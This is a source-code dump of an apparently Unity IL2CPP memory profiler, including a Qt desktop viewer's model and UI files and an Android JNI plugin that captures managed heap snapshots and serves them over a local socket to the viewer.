81 | uint32_t referencedNativeObjectIndicesCount;
82 | uint32_t* referencedNativeObjectIndices;
83 | };
84 |
85 | struct Il2CppGCHandles
86 | {
87 | uint32_t trackedObjectCount;
88 | uint64_t* pointersToObjects;
89 | };
90 |
91 | struct Il2CppRuntimeInformation
92 | {
93 | uint32_t pointerSize;
94 | uint32_t objectHeaderSize;
95 | uint32_t arrayHeaderSize;
96 | uint32_t arrayBoundsOffsetInHeader;
97 | uint32_t arraySizeOffsetInHeader;
98 | uint32_t allocationGranularity;
99 | };
100 |
101 | struct Il2CppManagedMemorySnapshot
102 | {
103 | Il2CppManagedHeap heap;
104 | Il2CppStacks stacks;
105 | Il2CppMetadataSnapshot metadata;
106 | Il2CppGCHandles gcHandles;
107 | Il2CppRuntimeInformation runtimeInformation;
108 | void* additionalUserInformation;
109 | };
110 |
111 | // read big-endian data to little-endian
112 | class bufferreader {
113 | public:
114 | using size_type = size_t;
115 |
116 | bufferreader(const char* data, size_type size);
117 |
118 | bool read(char* data, size_type size);
119 | bool atEnd() const;
120 |
121 | bufferreader& operator>> (std::uint32_t& value);
122 | bufferreader& operator>> (std::uint64_t& value);
123 | bufferreader& operator>> (char*& value);
124 | bufferreader& operator>> (bool& value);
125 |
126 | private:
127 | const char* data_;
128 | size_type size_;
129 | size_type index_ = 0;
130 | };
131 |
132 | inline bufferreader::bufferreader(const char* data, size_type size) : data_(data), size_(size) {}
133 |
134 | inline bool bufferreader::atEnd() const {
135 | return index_ >= size_;
136 | }
137 |
138 | inline bool bufferreader::read(char* data, size_type size) {
139 | if (index_ + size > size_)
140 | return false;
141 | memcpy(data, &data_[index_], size);
142 | index_ += size;
143 | return true;
144 | }
145 |
146 | inline bufferreader& bufferreader::operator>> (std::uint32_t& value) {
147 | if (index_ + 4 <= size_) {
148 | memcpy(reinterpret_cast(&value), &data_[index_], 4);
149 | value = qbswap(value);
150 | index_ += 4;
151 | }
152 | return *this;
153 | }
154 |
155 | inline bufferreader& bufferreader::operator>> (std::uint64_t& value) {
156 | if (index_ + 8 <= size_) {
157 | memcpy(reinterpret_cast(&value), &data_[index_], 8);
158 | value = qbswap(value);
159 | index_ += 8;
160 | }
161 | return *this;
162 | }
163 |
164 | inline bufferreader& bufferreader::operator>> (char*& value) {
165 | std::uint32_t len;
166 | *this >> len;
167 | if (index_ + len <= size_ && len > 0) {
168 | value = new char[len];
169 | memcpy(value, &data_[index_], len);
170 | index_ += len;
171 | }
172 | return *this;
173 | }
174 |
175 | inline bufferreader& bufferreader::operator>> (bool& value) {
176 | if (index_ + 1 <= size_) {
177 | value = data_[index_];
178 | index_++;
179 | }
180 | return *this;
181 | }
182 |
183 | #endif
184 |
--------------------------------------------------------------------------------
/include/umpmodel.h:
--------------------------------------------------------------------------------
1 | #ifndef UMPMODEL_H
2 | #define UMPMODEL_H
3 |
4 | #include "umpcrawler.h"
5 |
6 |
7 | #include
8 | #include
9 |
10 | #include
11 | #include
12 |
13 | struct UMPSnapshotType {
14 | QString name_;
15 | TypeDescription* type_;
16 | std::vector objects_;
17 | std::int64_t size_ = 0;
18 | };
19 |
20 | QString sizeToString(qint64 size);
21 |
22 | class UMPThingInMemoryModel : public QAbstractTableModel {
23 | public:
24 | UMPThingInMemoryModel(QObject* parent);
25 | int rowCount(const QModelIndex &parent = QModelIndex()) const override;
26 | int columnCount(const QModelIndex &parent = QModelIndex()) const override;
27 | QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override;
28 | QVariant headerData(int section, Qt::Orientation orientation, int role) const override;
29 | void reset(const UMPSnapshotType& snapshotType, bool isDiff);
30 | ThingInMemory* thingAt(int row) const { return objects_[row]; }
31 | int indexOf(const ThingInMemory* thing) const;
32 | private:
33 | QVector objects_;
34 | bool isDiff_ = false;
35 | };
36 |
37 | class UMPTypeGroupModel : public QAbstractTableModel {
38 | public:
39 | UMPTypeGroupModel(CrawledMemorySnapshot* snapshot, QObject* parent);
40 | ~UMPTypeGroupModel() override;
41 | int rowCount(const QModelIndex &parent = QModelIndex()) const override;
42 | int columnCount(const QModelIndex &parent = QModelIndex()) const override;
43 | QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override;
44 | QVariant headerData(int section, Qt::Orientation orientation, int role) const override;
45 | const UMPSnapshotType& getSubModel(int row) const {
46 | return types_[row];
47 | }
48 | const CrawledMemorySnapshot* getSnapshot() const {
49 | return snapshot_;
50 | }
51 | std::int64_t getTotalSize() const {
52 | return totalSize_;
53 | }
54 | private:
55 | QVector types_;
56 | CrawledMemorySnapshot* snapshot_;
57 | std::int64_t totalSize_;
58 | };
59 |
60 | class UMPTableProxyModel : public QSortFilterProxyModel {
61 | public:
62 | UMPTableProxyModel(QAbstractItemModel* srcModel, QObject *parent = nullptr)
63 | : QSortFilterProxyModel(parent) { setSourceModel(srcModel); }
64 | protected:
65 | bool lessThan(const QModelIndex &left, const QModelIndex &right) const override {
66 | auto leftData = sourceModel()->data(left, Qt::UserRole);
67 | auto rightData = sourceModel()->data(right, Qt::UserRole);
68 | if (leftData.type() == QVariant::String)
69 | return leftData.toString() < rightData.toString();
70 | else if (leftData.type() == QVariant::LongLong)
71 | return leftData.toLongLong() < rightData.toLongLong();
72 | else
73 | return leftData.toInt() < rightData.toInt();
74 | }
75 | };
76 |
77 | #endif // UMPMODEL_H
78 |
--------------------------------------------------------------------------------
/mainwindow.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | MainWindow
4 |
5 |
6 |
7 | 0
8 | 0
9 | 1024
10 | 580
11 |
12 |
13 |
14 |
15 | 1024
16 | 580
17 |
18 |
19 |
20 | UnityMemPerf
21 |
22 |
23 |
24 |
25 | 2
26 |
27 |
28 | 2
29 |
30 |
31 | 2
32 |
33 |
34 | 2
35 |
36 |
37 | 2
38 |
39 | -
40 |
41 |
42 | Qt::Vertical
43 |
44 |
45 | false
46 |
47 |
48 |
49 |
50 | 0
51 | 0
52 |
53 |
54 |
55 |
56 | 0
57 | 360
58 |
59 |
60 |
61 |
62 | 2
63 |
64 |
65 | 2
66 |
67 |
68 | 2
69 |
70 |
71 | 2
72 |
73 |
74 | 2
75 |
76 |
-
77 |
78 |
79 | QTabWidget::Triangular
80 |
81 |
82 | Qt::ElideLeft
83 |
84 |
85 | true
86 |
87 |
88 | true
89 |
90 |
91 | true
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 | true
100 |
101 |
102 |
103 | 0
104 | 0
105 |
106 |
107 |
108 |
109 | 0
110 | 130
111 |
112 |
113 |
114 | 0
115 |
116 |
117 |
118 |
119 | 0
120 | 0
121 |
122 |
123 |
124 |
125 | 0
126 | 0
127 |
128 |
129 |
130 | DashBoard
131 |
132 |
133 |
134 | 2
135 |
136 |
137 | 2
138 |
139 |
140 | 2
141 |
142 |
143 | 2
144 |
145 |
146 | 2
147 |
148 | -
149 |
150 |
151 | true
152 |
153 |
154 |
155 | 0
156 | 0
157 |
158 |
159 |
160 |
161 | 260
162 | 0
163 |
164 |
165 |
166 |
167 | 16777215
168 | 16777215
169 |
170 |
171 |
172 |
173 |
174 | 10
175 | 70
176 | 111
177 | 20
178 |
179 |
180 |
181 | com.company.app
182 |
183 |
184 |
185 |
186 |
187 | 170
188 | 70
189 | 80
190 | 20
191 |
192 |
193 |
194 | Launch
195 |
196 |
197 |
198 |
199 |
200 | 170
201 | 10
202 | 81
203 | 20
204 |
205 |
206 |
207 | Select the root path of Android SDK
208 |
209 |
210 | Select SDK
211 |
212 |
213 |
214 |
215 |
216 | 10
217 | 10
218 | 151
219 | 20
220 |
221 |
222 |
223 | true
224 |
225 |
226 | path to android sdk
227 |
228 |
229 |
230 |
231 |
232 | 130
233 | 70
234 | 31
235 | 19
236 |
237 |
238 |
239 | Select Target Application
240 |
241 |
242 | ...
243 |
244 |
245 | QToolButton::DelayedPopup
246 |
247 |
248 | false
249 |
250 |
251 | Qt::NoArrow
252 |
253 |
254 |
255 |
256 |
257 | 10
258 | 40
259 | 151
260 | 22
261 |
262 |
263 |
-
264 |
265 | armeabi-v7a
266 |
267 |
268 | -
269 |
270 | arm64-v8a
271 |
272 |
273 |
274 |
275 |
276 |
277 | 170
278 | 40
279 | 81
280 | 20
281 |
282 |
283 |
284 | Select the path of python 2.7
285 |
286 |
287 | Python2.7
288 |
289 |
290 |
291 |
292 | -
293 |
294 |
295 |
296 | 0
297 | 0
298 |
299 |
300 |
301 |
302 | 0
303 | 0
304 |
305 |
306 |
307 | false
308 |
309 |
310 |
311 |
312 |
313 |
314 |
315 |
316 |
317 |
318 |
357 |
358 |
359 |
360 | toolBar
361 |
362 |
363 | false
364 |
365 |
366 | Qt::Horizontal
367 |
368 |
369 |
370 | 20
371 | 20
372 |
373 |
374 |
375 | false
376 |
377 |
378 | TopToolBarArea
379 |
380 |
381 | false
382 |
383 |
384 |
385 |
386 |
387 |
388 |
389 |
390 |
391 |
392 | :/toolbutton/btn_open.png:/toolbutton/btn_open.png
393 |
394 |
395 | Open
396 |
397 |
398 | Ctrl+O
399 |
400 |
401 |
402 |
403 |
404 | :/toolbutton/btn_save.png:/toolbutton/btn_save.png
405 |
406 |
407 | Save
408 |
409 |
410 | Ctrl+S
411 |
412 |
413 |
414 |
415 | Exit
416 |
417 |
418 | Ctrl+Q
419 |
420 |
421 |
422 |
423 | About
424 |
425 |
426 |
427 |
428 | false
429 |
430 |
431 |
432 | :/toolbutton/btn_capture.png:/toolbutton/btn_capture.png
433 |
434 |
435 | Capture Snapshot
436 |
437 |
438 |
439 |
440 | false
441 |
442 |
443 |
444 | :/toolbutton/btn_previous.png:/toolbutton/btn_previous.png
445 |
446 |
447 | Jump Back
448 |
449 |
450 | Ctrl+,
451 |
452 |
453 |
454 |
455 | false
456 |
457 |
458 |
459 | :/toolbutton/btn_next.png:/toolbutton/btn_next.png
460 |
461 |
462 | Jump Forward
463 |
464 |
465 | Ctrl+.
466 |
467 |
468 |
469 |
470 | Mark First
471 |
472 |
473 |
474 |
475 | Mark Second
476 |
477 |
478 |
479 |
480 |
481 |
482 |
483 |
484 |
485 |
--------------------------------------------------------------------------------
/plugins/Android/jni/Android.mk:
--------------------------------------------------------------------------------
1 | LOCAL_PATH := $(call my-dir)
2 |
3 | include $(CLEAR_VARS)
4 |
5 | LOCAL_MODULE := libumemperf
6 | LOCAL_C_INCLUDES := $(LOCAL_PATH)
7 | LOCAL_CFLAGS := -Wall -Wextra -Werror -fvisibility=hidden -std=c11
8 | LOCAL_CXXFLAGS := -Wall -Wextra -Werror -fvisibility=hidden -std=c++11
9 | LOCAL_SRC_FILES := umpmain.cpp \
10 | umpserver.cpp \
11 | umputils.cpp
12 | LOCAL_LDLIBS := -llog -latomic -landroid
13 |
14 | include $(BUILD_SHARED_LIBRARY)
15 |
--------------------------------------------------------------------------------
/plugins/Android/jni/Application.mk:
--------------------------------------------------------------------------------
1 | APP_OPTIM := release
2 | APP_ABI := armeabi-v7a arm64-v8a
3 | APP_STL := gnustl_static
4 | APP_PLATFORM := android-14
--------------------------------------------------------------------------------
/plugins/Android/jni/buffer.h:
--------------------------------------------------------------------------------
1 | #ifndef BUFFER_HPP_INCLUDED
2 | #define BUFFER_HPP_INCLUDED
3 |
4 | #ifdef __cplusplus
5 | extern "C" {
6 | #endif // __cplusplus
7 |
8 | //
9 | // buffer.hpp
10 | //
11 | // Copyright (c) 2011 Boris Kolpackov
12 | //
13 | // Distributed under the Boost Software License, Version 1.0. (See
14 | // accompanying file LICENSE_1_0.txt or copy at
15 | // http://www.boost.org/LICENSE_1_0.txt)
16 | //
17 | // Simple memory buffer abstraction. Version 1.0.0.
18 | //
19 |
20 | #include // size_t
21 | #include // memcpy, memcmp, memset, memchr
22 | #include
23 |
24 | namespace io {
25 |
26 | class buffer
27 | {
28 | public:
29 | using size_type = size_t;
30 |
31 | static const size_type npos = static_cast (-1);
32 |
33 | ~buffer ();
34 |
35 | explicit buffer (size_type size = 0);
36 | buffer (size_type size, size_type capacity);
37 | buffer (const void* data, size_type size);
38 | buffer (const void* data, size_type size, size_type capacity);
39 | buffer (void* data, size_type size, size_type capacity,
40 | bool assume_ownership);
41 |
42 | buffer (const buffer&);
43 | buffer& operator= (const buffer&);
44 |
45 | void swap (buffer&);
46 | char* detach ();
47 |
48 | void assign (const void* data, size_type size);
49 | void assign (void* data, size_type size, size_type capacity,
50 | bool assume_ownership);
51 | void append (const buffer&);
52 | void append (const void* data, size_type size);
53 | void append (size_type size);
54 | void fill (char value = 0);
55 |
56 | size_type size () const;
57 | bool size (size_type);
58 | size_type capacity () const;
59 | bool capacity (size_type);
60 | bool empty () const;
61 | void clear ();
62 |
63 | char* data ();
64 | const char* data () const;
65 |
66 | char& operator[] (size_type);
67 | char operator[] (size_type) const;
68 | char& at (size_type);
69 | char at (size_type) const;
70 |
71 | size_type find (char, size_type pos = 0) const;
72 | size_type rfind (char, size_type pos = npos) const;
73 |
74 | private:
75 | char* data_;
76 | size_type size_;
77 | size_type capacity_;
78 | bool free_;
79 | };
80 |
81 | bool operator== (const buffer&, const buffer&);
82 | bool operator!= (const buffer&, const buffer&);
83 |
84 | //
85 | // Implementation.
86 | //
87 | inline buffer::~buffer ()
88 | {
89 | if (free_)
90 | delete[] data_;
91 | }
92 |
93 | inline buffer::buffer (size_type s)
94 | : free_ (true)
95 | {
96 | data_ = (s != 0 ? new char[s] : 0);
97 | size_ = capacity_ = s;
98 | }
99 |
100 | inline buffer::buffer (size_type s, size_type c)
101 | : free_ (true)
102 | {
103 | assert(s <= c);
104 | // if (s > c)
105 | // throw invalid_argument ("size greater than capacity");
106 |
107 | data_ = (c != 0 ? new char[c] : 0);
108 | size_ = s;
109 | capacity_ = c;
110 | }
111 |
112 | inline buffer::buffer (const void* d, size_type s)
113 | : free_ (true)
114 | {
115 | if (s != 0)
116 | {
117 | data_ = new char[s];
118 | memcpy (data_, d, s);
119 | }
120 | else
121 | data_ = 0;
122 |
123 | size_ = capacity_ = s;
124 | }
125 |
126 | inline buffer::buffer (const void* d, size_type s, size_type c)
127 | : free_ (true)
128 | {
129 | assert(s <= c);
130 | // if (s > c)
131 | // throw invalid_argument ("size greater than capacity");
132 |
133 | if (c != 0)
134 | {
135 | data_ = new char[c];
136 |
137 | if (s != 0)
138 | memcpy (data_, d, s);
139 | }
140 | else
141 | data_ = 0;
142 |
143 | size_ = s;
144 | capacity_ = c;
145 | }
146 |
147 | inline buffer::buffer (void* d, size_type s, size_type c, bool own)
148 | : data_ (static_cast (d)), size_ (s), capacity_ (c), free_ (own)
149 | {
150 | assert(s <= c);
151 | // if (s > c)
152 | // throw invalid_argument ("size greater than capacity");
153 | }
154 |
155 | inline buffer::buffer (const buffer& x)
156 | : free_ (true)
157 | {
158 | if (x.capacity_ != 0)
159 | {
160 | data_ = new char[x.capacity_];
161 |
162 | if (x.size_ != 0)
163 | memcpy (data_, x.data_, x.size_);
164 | }
165 | else
166 | data_ = 0;
167 |
168 | size_ = x.size_;
169 | capacity_ = x.capacity_;
170 | }
171 |
172 | inline buffer& buffer::operator= (const buffer& x)
173 | {
174 | if (&x != this)
175 | {
176 | if (x.size_ > capacity_)
177 | {
178 | if (free_)
179 | delete[] data_;
180 |
181 | data_ = new char[x.capacity_];
182 | capacity_ = x.capacity_;
183 | free_ = true;
184 | }
185 |
186 | if (x.size_ != 0)
187 | memcpy (data_, x.data_, x.size_);
188 |
189 | size_ = x.size_;
190 | }
191 |
192 | return *this;
193 | }
194 |
195 | inline void buffer::swap (buffer& x)
196 | {
197 | char* d (x.data_);
198 | size_type s (x.size_);
199 | size_type c (x.capacity_);
200 | bool f (x.free_);
201 |
202 | x.data_ = data_;
203 | x.size_ = size_;
204 | x.capacity_ = capacity_;
205 | x.free_ = free_;
206 |
207 | data_ = d;
208 | size_ = s;
209 | capacity_ = c;
210 | free_ = f;
211 | }
212 |
213 | inline char* buffer::detach ()
214 | {
215 | char* r (data_);
216 |
217 | data_ = 0;
218 | size_ = 0;
219 | capacity_ = 0;
220 |
221 | return r;
222 | }
223 |
224 | inline void buffer::assign (const void* d, size_type s)
225 | {
226 | if (s > capacity_)
227 | {
228 | if (free_)
229 | delete[] data_;
230 |
231 | data_ = new char[s];
232 | capacity_ = s;
233 | free_ = true;
234 | }
235 |
236 | if (s != 0)
237 | memcpy (data_, d, s);
238 |
239 | size_ = s;
240 | }
241 |
242 | inline void buffer::assign (void* d, size_type s, size_type c, bool own)
243 | {
244 | if (free_)
245 | delete[] data_;
246 |
247 | data_ = static_cast (d);
248 | size_ = s;
249 | capacity_ = c;
250 | free_ = own;
251 | }
252 |
253 | inline void buffer::append (const buffer& b)
254 | {
255 | append (b.data (), b.size ());
256 | }
257 |
258 | inline void buffer::append (const void* d, size_type s)
259 | {
260 | if (s != 0)
261 | {
262 | size_type ns (size_ + s);
263 |
264 | if (capacity_ < ns)
265 | capacity (ns);
266 |
267 | memcpy (data_ + size_, d, s);
268 | size_ = ns;
269 | }
270 | }
271 |
272 | inline void buffer::append (size_type s)
273 | {
274 | if (s != 0)
275 | {
276 | size_type ns (size_ + s);
277 |
278 | if (capacity_ < ns)
279 | capacity (ns);
280 |
281 | size_ = ns;
282 | }
283 | }
284 |
285 | inline void buffer::fill (char v)
286 | {
287 | if (size_ > 0)
288 | memset (data_, v, size_);
289 | }
290 |
291 | inline buffer::size_type buffer::size () const
292 | {
293 | return size_;
294 | }
295 |
296 | inline bool buffer::size (size_type s)
297 | {
298 | bool r (false);
299 |
300 | if (capacity_ < s)
301 | r = capacity (s);
302 |
303 | size_ = s;
304 | return r;
305 | }
306 |
307 | inline buffer::size_type buffer::capacity () const
308 | {
309 | return capacity_;
310 | }
311 |
312 | inline bool buffer::capacity (size_type c)
313 | {
314 | // Ignore capacity decrease requests.
315 | //
316 | if (capacity_ >= c)
317 | return false;
318 |
319 | char* d (new char[c]);
320 |
321 | if (size_ != 0)
322 | memcpy (d, data_, size_);
323 |
324 | if (free_)
325 | delete[] data_;
326 |
327 | data_ = d;
328 | capacity_ = c;
329 | free_ = true;
330 |
331 | return true;
332 | }
333 |
334 | inline bool buffer::empty () const
335 | {
336 | return size_ == 0;
337 | }
338 |
339 | inline void buffer::clear ()
340 | {
341 | size_ = 0;
342 | }
343 |
344 | inline char* buffer::data ()
345 | {
346 | return data_;
347 | }
348 |
349 | inline const char* buffer::data () const
350 | {
351 | return data_;
352 | }
353 |
354 | inline char& buffer::operator[] (size_type i)
355 | {
356 | return data_[i];
357 | }
358 |
359 | inline char buffer::operator[] (size_type i) const
360 | {
361 | return data_[i];
362 | }
363 |
364 | inline char& buffer::at (size_type i)
365 | {
366 | assert(i < size_);
367 | // if (i >= size_)
368 | // throw out_of_range ("index out of range");
369 |
370 | return data_[i];
371 | }
372 |
373 | inline char buffer::at (size_type i) const
374 | {
375 | assert(i < size_);
376 | // if (i >= size_)
377 | // throw out_of_range ("index out of range");
378 |
379 | return data_[i];
380 | }
381 |
382 | inline buffer::size_type buffer::find (char v, size_type pos) const
383 | {
384 | if (size_ == 0 || pos >= size_)
385 | return npos;
386 |
387 | char* p (static_cast (memchr (data_ + pos, v, size_ - pos)));
388 | return p != 0 ? static_cast (p - data_) : npos;
389 | }
390 |
391 | inline buffer::size_type buffer::rfind (char v, size_type pos) const
392 | {
393 | // memrchr() is not standard.
394 | //
395 | if (size_ != 0)
396 | {
397 | size_type n (size_);
398 |
399 | if (--n > pos)
400 | n = pos;
401 |
402 | for (++n; n-- != 0; )
403 | if (data_[n] == v)
404 | return n;
405 | }
406 |
407 | return npos;
408 | }
409 |
410 | inline bool operator== (const buffer& a, const buffer& b)
411 | {
412 | return a.size () == b.size () &&
413 | memcmp (a.data (), b.data (), a.size ()) == 0;
414 | }
415 |
416 | inline bool operator!= (const buffer& a, const buffer& b)
417 | {
418 | return !(a == b);
419 | }
420 |
421 | // write little-endian data to big-endian
422 | class bufferwriter {
423 | public:
424 | using size_type = size_t;
425 |
426 | bufferwriter(buffer& data) : data_(data) {};
427 |
428 | void append(const void* data, size_t size);
429 |
430 | bufferwriter& operator<< (std::uint32_t value);
431 | bufferwriter& operator<< (std::uint64_t value);
432 | bufferwriter& operator<< (const char* value);
433 | bufferwriter& operator<< (bool value);
434 |
435 | private:
436 | buffer& data_;
437 | };
438 |
439 | void bufferwriter::append(const void* data, size_t size) {
440 | data_.append(data, size);
441 | }
442 |
443 | bufferwriter& bufferwriter::operator<< (std::uint32_t value) {
444 | auto index = data_.size();
445 | data_.append(4);
446 | data_[index + 3] = value & 0xFF;
447 | data_[index + 2] = (value >> 8) & 0xFF;
448 | data_[index + 1] = (value >> 16) & 0xFF;
449 | data_[index + 0] = (value >> 24) & 0xFF;
450 | return *this;
451 | }
452 |
453 | bufferwriter& bufferwriter::operator<< (std::uint64_t value) {
454 | auto index = data_.size();
455 | data_.append(8);
456 | data_[index + 7] = value & 0xFF;
457 | data_[index + 6] = (value >> 8) & 0xFF;
458 | data_[index + 5] = (value >> 16) & 0xFF;
459 | data_[index + 4] = (value >> 24) & 0xFF;
460 | data_[index + 3] = (value >> 32) & 0xFF;
461 | data_[index + 2] = (value >> 40) & 0xFF;
462 | data_[index + 1] = (value >> 48) & 0xFF;
463 | data_[index + 0] = (value >> 56) & 0xFF;
464 | return *this;
465 | }
466 |
467 | bufferwriter& bufferwriter::operator<< (const char* value) {
468 | auto index = data_.size();
469 | auto len = static_cast(strlen(value) + 1);
470 | *this << len;
471 | data_.append(len);
472 | memcpy(&data_[index + 4], value, len);
473 | return *this;
474 | }
475 |
476 | bufferwriter& bufferwriter::operator<< (bool value) {
477 | auto index = data_.size();
478 | data_.append(1);
479 | data_[index] = static_cast(value);
480 | return *this;
481 | }
482 |
483 | }
484 |
485 | #ifdef __cplusplus
486 | }
487 | #endif // __cplusplus
488 |
489 | #endif // BUFFER_HPP_INCLUDED
490 |
--------------------------------------------------------------------------------
/plugins/Android/jni/umpmain.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #ifdef __cplusplus
9 | extern "C" {
10 | #endif // __cplusplus
11 |
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | #include "buffer.h"
23 | #include "umpmemory.h"
24 | #include "umpserver.h"
25 | #include "umputils.h"
26 |
27 | Il2CppManagedMemorySnapshot* (*umpCaptureMemorySnapshot_)(void);
28 | void (*umpFreeCapturedMemorySnapshot_)(Il2CppManagedMemorySnapshot*);
29 |
30 | ALooper* mainThreadLooper_;
31 | int messagePipe_[2];
32 | io::buffer buffer((size_t)0, 256 * 1024 * 1024);
33 |
34 | int umpMainThreadLooperCallback(int fd, int, void*) {
35 | char msg;
36 | read(fd, &msg, 1);
37 | if (umpCaptureMemorySnapshot_ != nullptr && umpFreeCapturedMemorySnapshot_ != nullptr) {
38 | auto snapshot = umpCaptureMemorySnapshot_();
39 | UMPLOGI("Snapshot! heaps: %i, stacks: %i, types: %i, gcHandles: %i, %u",
40 | snapshot->heap.sectionCount, snapshot->stacks.stackCount, snapshot->metadata.typeCount, snapshot->gcHandles.trackedObjectCount, kSnapshotMagicBytes);
41 | io::bufferwriter writer(buffer);
42 | writer << kSnapshotMagicBytes << kSnapshotFormatVersion;
43 | writer << kSnapshotHeapMagicBytes << snapshot->heap.sectionCount;
44 | for (std::uint32_t i = 0; i < snapshot->heap.sectionCount; i++) {
45 | auto& section = snapshot->heap.sections[i];
46 | writer << section.sectionStartAddress << section.sectionSize;
47 | writer.append(section.sectionBytes, section.sectionSize);
48 | }
49 | writer << kSnapshotStacksMagicBytes << snapshot->stacks.stackCount;
50 | for (std::uint32_t i = 0; i < snapshot->stacks.stackCount; i++) {
51 | auto& stack = snapshot->stacks.stacks[i];
52 | writer << stack.sectionStartAddress << stack.sectionSize;
53 | writer.append(&stack.sectionBytes, stack.sectionSize);
54 | }
55 | writer << kSnapshotMetadataMagicBytes << snapshot->metadata.typeCount;
56 | for (std::uint32_t i = 0; i < snapshot->metadata.typeCount; i++) {
57 | auto& type = snapshot->metadata.types[i];
58 | writer << static_cast(type.flags) << type.baseOrElementTypeIndex;
59 | if ((type.flags & Il2CppMetadataTypeFlags::kArray) == 0) {
60 | writer << type.fieldCount;
61 | for (std::uint32_t j = 0; j < type.fieldCount; j++) {
62 | auto& field = type.fields[j];
63 | writer << field.offset << field.typeIndex << field.name << field.isStatic;
64 | }
65 | writer << type.staticsSize;
66 | writer.append(type.statics, type.staticsSize);
67 | }
68 | writer << type.name << type.assemblyName << type.typeInfoAddress << type.size;
69 | }
70 | writer << kSnapshotGCHandlesMagicBytes << snapshot->gcHandles.trackedObjectCount;
71 | for (std::uint32_t i = 0; i < snapshot->gcHandles.trackedObjectCount; i++) {
72 | writer << snapshot->gcHandles.pointersToObjects[i];
73 | }
74 | writer << kSnapshotRuntimeInfoMagicBytes;
75 | writer << snapshot->runtimeInformation.pointerSize << snapshot->runtimeInformation.objectHeaderSize <<
76 | snapshot->runtimeInformation.arrayHeaderSize << snapshot->runtimeInformation.arrayBoundsOffsetInHeader <<
77 | snapshot->runtimeInformation.arraySizeOffsetInHeader << snapshot->runtimeInformation.allocationGranularity;
78 | writer << kSnapshotTailMagicBytes;
79 | umpSend(buffer.data(), buffer.size()); // blocking
80 | buffer.clear();
81 | umpFreeCapturedMemorySnapshot_(snapshot);
82 | }
83 | return 1; // continue listening for events
84 | }
85 |
86 | void umpOnRecvMessage(unsigned int type, const char* data, unsigned int size) {
87 | (void)data;
88 | (void)size;
89 | if (type == UMPMessageType::CAPTURE_SNAPSHOT) {
90 | char empty = 255;
91 | write(messagePipe_[1], &empty, 1);
92 | }
93 | }
94 |
95 | JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
96 | UMPLOGI("JNI_OnLoad");
97 | JNIEnv* env;
98 | if (vm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK) {
99 | return JNI_ERR; // JNI version not supported.
100 | }
101 | mainThreadLooper_ = ALooper_forThread(); // get looper for this thread
102 | ALooper_acquire(mainThreadLooper_); // add reference to keep object alive
103 | pipe(messagePipe_); //create send-receive pipe
104 | // listen for pipe read end, if there is something to read
105 | // - notify via provided callback on main thread
106 | ALooper_addFd(mainThreadLooper_, messagePipe_[0],
107 | 0, ALOOPER_EVENT_INPUT, umpMainThreadLooperCallback, nullptr);
108 | std::thread([]() {
109 | while (true) {
110 | std::string il2cppPath;
111 | if (umpIsLibraryLoaded("libil2cpp", il2cppPath)) {
112 | char *error;
113 | void *handle = dlopen(il2cppPath.c_str(), RTLD_LAZY);
114 | if (handle) {
115 | dlerror();
116 | *(void **) (&umpCaptureMemorySnapshot_) = dlsym(handle, "il2cpp_capture_memory_snapshot");
117 | if ((error = dlerror()) != NULL) {
118 | UMPLOGE("Error dlsym il2cpp_capture_memory_snapshot: %s", error);
119 | }
120 | dlerror();
121 | *(void **) (&umpFreeCapturedMemorySnapshot_) = dlsym(handle, "il2cpp_free_captured_memory_snapshot");
122 | if ((error = dlerror()) != NULL) {
123 | UMPLOGE("Error dlsym il2cpp_free_captured_memory_snapshot: %s", error);
124 | }
125 | } else {
126 | UMPLOGE("Error dlopen: %s", dlerror());
127 | }
128 | break;
129 | }
130 | std::this_thread::sleep_for(std::chrono::milliseconds(1000));
131 | }
132 | }).detach();
133 | auto ecode = umpServerStart(7100);
134 | umpRecv(umpOnRecvMessage);
135 | UMPLOGI("UMP server start status %i", ecode);
136 | return JNI_VERSION_1_6;
137 | }
138 |
139 | #ifdef __cplusplus
140 | }
141 | #endif // __cplusplus
--------------------------------------------------------------------------------
/plugins/Android/jni/umpmemory.h:
--------------------------------------------------------------------------------
1 | #ifndef UMPMEMORY_H
2 | #define UMPMEMORY_H
3 |
4 | const uint32_t kSnapshotFormatVersion = 4;
5 | const uint32_t kSnapshotMagicBytes = 0xFABCED01;
6 | const uint32_t kSnapshotHeapMagicBytes = 0x9111DAAA;
7 | const uint32_t kSnapshotStacksMagicBytes = 0x147358AA;
8 | const uint32_t kSnapshotMetadataMagicBytes = 0x4891AEFD;
9 | const uint32_t kSnapshotGCHandlesMagicBytes = 0x3456132C;
10 | // const uint32_t kSnapshotNativeTypesMagicBytes = 0x78514753;
11 | // const uint32_t kSnapshotNativeObjectsMagicBytes = 0x6173FAFE;
12 | const uint32_t kSnapshotRuntimeInfoMagicBytes = 0x0183EFAC;
13 | const uint32_t kSnapshotTailMagicBytes = 0x865EEAAF;
14 |
15 | struct Il2CppMetadataField
16 | {
17 | uint32_t offset;
18 | uint32_t typeIndex;
19 | const char* name;
20 | bool isStatic;
21 | };
22 |
23 | enum Il2CppMetadataTypeFlags
24 | {
25 | kNone = 0,
26 | kValueType = 1 << 0,
27 | kArray = 1 << 1,
28 | kArrayRankMask = 0xFFFF0000
29 | };
30 |
31 | struct Il2CppMetadataType
32 | {
33 | Il2CppMetadataTypeFlags flags; // If it's an array, rank is encoded in the upper 2 bytes
34 | Il2CppMetadataField* fields;
35 | uint32_t fieldCount;
36 | uint32_t staticsSize;
37 | uint8_t* statics;
38 | uint32_t baseOrElementTypeIndex;
39 | char* name;
40 | const char* assemblyName;
41 | uint64_t typeInfoAddress;
42 | uint32_t size;
43 | };
44 |
45 | struct Il2CppMetadataSnapshot
46 | {
47 | uint32_t typeCount;
48 | Il2CppMetadataType* types;
49 | };
50 |
51 | struct Il2CppManagedMemorySection
52 | {
53 | uint64_t sectionStartAddress;
54 | uint32_t sectionSize;
55 | uint8_t* sectionBytes;
56 | };
57 |
58 | struct Il2CppManagedHeap
59 | {
60 | uint32_t sectionCount;
61 | Il2CppManagedMemorySection* sections;
62 | };
63 |
64 | struct Il2CppStacks
65 | {
66 | uint32_t stackCount;
